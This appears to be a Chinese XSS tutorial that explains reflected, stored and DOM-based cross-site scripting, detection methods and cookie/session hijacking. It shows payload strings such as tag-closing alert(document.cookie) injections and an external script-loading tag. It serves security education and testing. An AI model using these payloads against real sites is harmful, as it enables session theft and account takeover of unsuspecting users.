XSS又叫CSS(Cross Site Scripting),即跨站脚本攻击。
XSS是指攻击者在网页中嵌入客户端脚本,通常是JS恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。
可知,XSS属于客户端攻击,受害者是用户。可以通过攻击网站管理员的方式来对网站进行文件管理、数据管理等操作。
XSS原理解析
想要深入研究XSS,要精通JavaScript。JS可以用来获取用户的Cookie、改变网页内容、URL调转,那么存在XSS漏洞的网站,就可以盗取用户Cookie、黑掉页面、导航到恶意网站。
攻击者可以在<script> 与 </script> 之间输入 Javascript 代码,实现特殊效果。
还可以使用 <script src=“http://www.sobug.org/x.txt”> </script> 方式来加载脚本
JS 加载外部的代码文件可以是任意扩展名(无扩展名也可以),即使是图片文件,只要其中包含JS代码,也可以执行
XSS类型
分为反射型、存储型和DOM型。
反射型XSS
反射型XSS也被称为非持久性XSS,就是用户访问一个带有XSS代码的URL请求,服务器接受之后把带有XSS代码的数据发送到浏览器。
举例说明XSS漏洞。
在这段代码中,程序接受username后再输出,如果提交xss.php?/username=HIM,那么程序将输出HIM,如果用户输入username=<script>XSS恶意代码</script>,将会造成反射型XSS漏洞。
不要觉得反射型XSS就只是弹个框,没啥危害,看下面例子。
攻击者伪造链接(站内私信),诱使用户点击,由此盗取用户的cookie,攻击者可以使用用户的cookie 来登录网站。
这就是危害
存储型 XSS
允许用户存储数据的Web应用都可能会出现XSS漏洞,当攻击者提交一段XSS代码后,被服务器存了下来,当攻击者再次访问某个页面时,这段XSS代码被程序读了出来后响应给浏览器,造成XSS跨站攻击,这就是存储型XSS。
反射型 XSS 和 DOM 型 XSS 都依靠用户手动去触发,存储型 XSS 却不需要
下面是一个常见的存储型XSS场景实例。
测试是否存在 存储型 XSS
首先要确定输入点和输出点,例如在留言内容上测试XSS漏洞,首选寻找留言内容输出的地方是在标签内还是在标签属性内。如果在属性内,xss代码是不会执行的。
<input type="text" name="content" value="<script>alert(1)</script"/>
上述代码虽然成功插入了HTML中,但是却无法执行。浏览器在解析HTML时,会把数据以文本的形式输出在网页中。如果是在属性内,就要先闭合属性值。
<input type="text" name="content" value=""/ ><script>alert(1)</script"/>
这样就可以闭合input标签,造成XSS跨站漏洞。
测试步骤:
添加正常留言,使用 firebug 快速寻找显示标签,发现标签为
输入敏感字符,查看是否被转义。敏感字符不容易寻找,可以使用 “AAAAA<>”’&" 字符串,查找的时候直接查找 AAAAA
如果显示区域不在 HTML 属性内,则可以直接使用 XSS 代码注入,如果不能得知输出的具体位置,则可以使用模糊测试方案
<script>alert(document.cookie)</script> 普通注入
"/><script>alert(document.cookie)</script> 闭合标签注入
</textarea>'"><script>alert(document.cookie)</script> 闭合标签注入
在插入盗取 cookie 的 JS 代码后,重新加载留言页面(用户查看的时候),XSS代码被浏览器执行
DOM XSS
DOM(Document Object Model)文档对象模型,DOM通常用于代表HTML、XHTML和XML中的对象,使用DOM可以允许程序和脚本动态地访问和更新文档中的内容、结构和样式。
DOM为文档提供了结构化表示,并定义了如何通过脚本来访问文档结构,根据DOM规定,HTML文档中的每个成分都是一个节点。
- 整个文档是一个文档节点
- 每个HTML标签是一个元素节点
- 包含在HTML元素中的文本是文本节点
- 每一个HTML属性是一个属性节点
- 节点与节点之间都有等级关系
HTML的标签是一个个节点,组成了DOM节点树。
检测XSS
分为手工检测和软件检测。
手工检测XSS
考虑哪里有输入,输入的东西在什么位置输出。
要新选择有特殊意义的字符,一步步的测试。
1.可得知输出位置
输入一些敏感字符,例如“<、>、"、'、()”等,在提交请求后查看HTML代码,看这些输入的字符有没有被转义。
在输入这些敏感字符时,可能程序已经过滤了,可以输入"AAAA<>&"‘&"字符串,然后再找AAAA。
2.无法得知输出位置
很多时候我们不知道输入数据在何处显示,比如测试某留言本是否存在XSS,在留言后可能需要管理员的审核才能显示,这是无法得知输入的数据在后台管理页面处于何种状态,例如:
全自动检测XSS
APPSCAN、AWVS、Burp Suite等软件都可以检测XSS跨站漏洞,除此之外还会检测SQL注射、文件包含、应用程序错误等漏洞。不如专业的XSS检测工具效率高。
专业的有XSSER、XSSF,也有扫描漏洞的web服务:www.domxssscanner.com,专门扫描DOM类型的XSS。
自动一定要和手动相结合,例如提交留言需要短信验证、验证码填写等,这是工具无法做到的。
XSS高级利用
XSS不仅只是弹个框,可能会造成以下危害:
- 盗取用户Cookie
- 修改网页内容
- 网站挂马
- 利用网站重定向
- XSS蠕虫
XSS会话劫持
1.Cookie
Cookie是保存在内存或硬盘的小文件,用于维持网站会话,保存了用户ID、密码、停留时间等信息。一个网站只能取回该网站本身放在电脑的Cookie,无法获得其他网站的Cookie。
每个Cookie文件都是一个TXT文件,都以“用户名@网站URL"来命名。
Cookie由变量名(key)和值(Value)组成,其属性里既有标准的Cookie变量,也有用户自己创建的变量,属性中的变量用”变量=值“的形式来保存。
2.读写Cookie
JS、Java、PHP、ASP.NET都能读写Cookie。
在这段Servlet代码中,将会获取本地计算机Cookie,如果Cookie不为空,就遍历数组把所有的Cookie值取出来。如果Cookie为空,就获取username参数值,并且将值写入Cookie的Name字段中,最后将Cookie发送到客户端。
3.JavaScript操作Cookie
5.SESSION
Session是一种服务器端的机制,使用一种类似散列表的结构来保存信息。
Web中的Session是指用户在浏览某个网站时,从进入网站到关闭浏览器所经过的这段时间,也就是一次客户端与服务器的对话。
每个用户的会话状态都是不同的Session,服务器通过SESSIONID来区分不同用户。
当用户第一次连接到服务器时,会自动分配一个SESSIONID,这个ID是唯一的编号,如果连接关闭,SESSION会自动注销,当用户在此连接时,将会重新分配。
如果浏览器与服务器会话没结束之前拿到这个SESSIONID,是否同样也能会话劫持呢?